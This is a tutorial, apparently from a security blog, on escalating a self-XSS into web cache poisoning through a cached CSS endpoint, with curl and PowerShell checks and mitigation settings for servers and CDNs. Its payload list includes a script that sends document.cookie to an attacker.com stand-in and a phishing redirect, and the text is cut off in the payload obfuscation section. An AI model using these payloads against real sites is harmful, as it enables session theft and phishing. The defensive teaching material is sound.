How to Hack Web Cache Poisoning: From Self-XSS to Full Cache Takeover (Secure Code Review Challenge 31) + Video

Listen to this Post

Featured Image

Introduction:

Web cache poisoning occurs when an attacker manipulates cache keys to store malicious content served to subsequent users. In this challenge, a seemingly harmless self-XSS vulnerability becomes critical when the payload is cached via an unexpected CSS endpoint. By registering a username containing JavaScript and forcing the cache to store that response, an attacker can execute arbitrary code on every victim who visits the poisoned cache entry.

Learning Objectives:

  • Understand how cache keys and storage mechanisms can be abused to escalate a self-XSS vulnerability.
  • Execute a full web cache poisoning attack using simple browser techniques and command-line tools.
  • Implement mitigation strategies including cache header hardening and input sanitization.

You Should Know:

  1. Understanding Web Cache Poisoning & Initial Payload Injection

Extended Explanation:

The vulnerable application stores user profiles under `/me` and also serves a CSS file at /me.css. When a user registers with a malicious username containing <script>alert(1337)</script>, the profile page reflects this unsanitized input (self-XSS). However, because the application caches the CSS response without proper key separation per user, the injected script executes in any browser that requests the cached /me.css.

Step‑by‑Step Guide:

  1. Register a malicious user – Use username: dub-flow"><script>alert(1337)</script>. The app logs you in and redirects to /me. Verify the alert fires (self-XSS).
  2. Probe the CSS endpoint – While logged in, visit `http://localhost/me.css`. Notice the same XSS payload triggers because the CSS file includes the reflected username.
  3. Test cache behavior across clients – Open a different browser (or incognito mode) and visit `http://localhost/me.css`. If the alert appears without authentication, the cache is poisoned.

Linux / Windows Commands (verify cache headers):

 Linux – check cache-control and vary headers
curl -I http://localhost/me.css

Windows – using PowerShell
Invoke-WebRequest -Uri http://localhost/me.css -Method Head | Select-Object -ExpandProperty Headers

Simulate cache hit with same cache key
curl -H "X-Forwarded-Host: attacker.com" http://localhost/me.css

2. Exploiting Cache Key Collision

Step‑by‑Step Guide:

Caches often key responses by URL + selected headers (e.g., Host, X-Forwarded-Host). If the application uses headers insecurely, attackers can poison multiple endpoints.

  1. Identify cacheable endpoint – Look for `Cache-Control: public, max-age=…` or missing no-cache. In the challenge, `/me.css` is cached globally.
  2. Inject via unsanitized header – Use a tool like Burp Suite or curl to send a request with a malicious `X-Forwarded-Host` header. If the backend reflects this header into the response, the cache will store it.
  3. Bypass self‑XSS limitation – Because the CSS endpoint caches the response for all users, the XSS payload executes for anyone who hits that resource.

Payload Examples:

<!-- Classic alert -->
<script>alert(document.cookie)</script>

<!-- Steal session tokens -->
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<!-- Deface or redirect -->
<script>window.location='https://phishing.com'</script>

3. Automating Cache Poisoning Detection

Extended Guide:

Use command-line tools to test for cache poisoning vectors systematically. The following script checks if custom headers affect the cache key.

Linux Bash Script:

!/bin/bash
URL="http://localhost/me.css"
ATTACKER_HEADER="X-Forwarded-Host: evil.com"

First request poisons cache with malicious header
curl -H "$ATTACKER_HEADER" $URL -s -o /dev/null

Second request without header – if response contains evil.com, cache key is vulnerable
if curl -s $URL | grep -q "evil.com"; then
echo "VULNERABLE: Cache key includes X-Forwarded-Host"
else
echo "NOT VULNERABLE"
fi

Windows PowerShell:

$url = "http://localhost/me.css"
$headers = @{"X-Forwarded-Host"="evil.com"}
Invoke-WebRequest -Uri $url -Headers $headers | Out-Null
$response = Invoke-WebRequest -Uri $url
if ($response.Content -match "evil.com") {
Write-Host "VULNERABLE: Cache poisoning possible"
}

4. Mitigation: Cache Header Hardening & Code Review

Step‑by‑Step Guide for developers:

  1. Never cache user-specific or dynamic content – Use `Cache-Control: private, no-cache, no-store, must-revalidate` for sensitive endpoints.
  2. Sanitize all reflected input – Even if you think it’s “self-XSS”, output encoding (HTML entity encoding) breaks script tags: &lt;script&gt;.
  3. Restrict cache key components – Cache only on `Host` and full URL path, never on attacker-controlled headers like `X-Forwarded-Host` or User-Agent.

Web Server Configuration Examples:

Apache (.htaccess):

<Files "me.css">
Header set Cache-Control "no-cache, no-store, private"
Header set X-Content-Type-Options "nosniff"
</Files>

Nginx:

location /me.css {
add_header Cache-Control "private, no-store";
add_header X-XSS-Protection "1; mode=block";
}

Application-level (Node.js/Express):

app.get('/me.css', (req, res) => {
res.set('Cache-Control', 'private, no-cache');
// Always escape output
const safeUsername = escapeHtml(req.user.name);
res.send(<code>body:before { content: "Hello, ${safeUsername}"; }</code>);
});

5. API Security & Cloud CDN Hardening

Extended Explanation:

Cloud CDNs (Cloudflare, AWS CloudFront, Akamai) use sophisticated caching rules. Misconfigured `Vary` headers or ignoring query parameters can lead to cache poisoning.

Step‑by‑Step Cloud Hardening:

  1. Set `Vary: Cookie, Authorization` – Forces cache to differentiate responses by authentication state.
  2. Use cache keys that include user context – For CloudFront, configure cache policy to include `Cookie` or Authorization.
  3. Disable caching for dynamic API routes – Even if an API returns JSON, ensure no sensitive data is cached.

Example AWS CloudFront Cache Policy (JSON snippet):

{
"CachePolicy": {
"MinTTL": 0,
"MaxTTL": 0,
"DefaultTTL": 0,
"ParametersInCacheKeyAndForwardedToOrigin": {
"HeadersConfig": { "HeaderBehavior": "none" },
"CookiesConfig": { "CookieBehavior": "all" },
"QueryStringsConfig": { "QueryStringBehavior": "none" }
}
}
}

Testing for CDN Cache Poisoning (curl):

 Send request with attacker header to edge node
curl -H "X-Forwarded-Host: poisoned.com" https://cdn.example.com/me.css

Request from different IP location (use VPN) – if still poisoned, CDN cache key is flawed
curl https://cdn.example.com/me.css

6. Vulnerability Exploitation & Payload Obfuscation

Extended Tutorial:

Real-world attacks often bypass simple `